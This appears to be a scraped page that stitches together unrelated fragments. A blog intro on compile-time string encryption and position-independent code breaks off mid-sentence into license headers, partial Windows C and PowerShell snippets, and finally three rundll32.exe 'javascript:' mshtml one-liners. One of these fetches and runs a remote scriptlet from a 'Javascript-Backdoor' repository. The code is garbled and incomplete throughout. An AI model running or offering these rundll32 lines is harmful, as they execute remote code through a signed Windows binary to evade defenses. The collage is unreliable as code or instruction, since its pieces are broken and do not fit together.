Anders sredna

Encrypting Strings at Compile Time

Thank you to SpecterOps for supporting this research and to Duane and Matt for proofreading and editing! Crossposted on the SpecterOps Blog.

TLDR: You may use this header file for reliable compile time string encryption without needing any additional dependencies.

Programmers of DRM software, security products, or other sensitive code bases are commonly required to minimize the amount of human readable strings in binary output files. The goal of the minimization is to hinder others from reverse engineering their proprietary technology.

Common approaches that are taken to meet this requirement often add an additional maintenance burden to the developer and are prone to error. These approaches will be presented along with t

PIC and String Literals Part 2

I previously wrote about how to use macro metaprogramming to simplify using string literals in position independent code (PIC). The results are summarized in the below code snippet and the article can be read on GitHub.

void f() {
    // Example 1: The Pic idiom for instantiating a string
    char picString1[]{ 'a', 'b', 'c' };

	// Copyright (c) 2022 namazso <admin@namazso.eu>
	//
	// Permission is hereby granted, free of charge, to any person obtaining a copy
	// of this software and associated documentation files (the "Software"), to deal
	// in the Software without restriction, including without limitation the rights
	// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
	// copies of the Software, and to permit persons to whom the Software is
	// furnished to do so, subject to the following conditions:
	//
	// The above copyright notice and this permission notice shall be included in all

	#include <windows.h>
	#include <stdio.h>
	#include <stdint.h>

	#pragma comment(lib, "USER32")

	FARPROC NtUserPostMessage;

	BOOL CALLBACK QueryWindowMessageProc(HWND Window, LPARAM Param)
	{

	<#
	Licensed to the Apache Software Foundation (ASF) under one
	or more contributor license agreements. See the NOTICE file
	distributed with this work for additional information
	regarding copyright ownership. The ASF licenses this file
	to you under the Apache License, Version 2.0 (the
	"License"); you may not use this file except in compliance
	with the License. You may obtain a copy of the License at

	http://www.apache.org/licenses/LICENSE-2.0

	# To enable ANSI sequences in a PowerShell console run the following commands.
	# After that you can use wttr.in in you PowerShell just lake that:
	# (curl http://wttr.in/ -UserAgent "curl" ).Content
	#
	# More on it:
	# http://stknohg.hatenablog.jp/entry/2016/02/22/195644 (jp)
	#

	Add-Type -MemberDefinition @"
	[DllImport("kernel32.dll", SetLastError=true)]

	#include <windows.h>

	/*
	* This is an alternative to the RtlNtStatusToDosError()
	* function in ntdll.dll. It uses the GetOverlappedResult()
	* function in kernel32.dll to do the conversion.
	*/
	DWORD
	ConvertNtStatusToWin32Error(LONG ntstatus)
	{

	rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

	rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

	rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")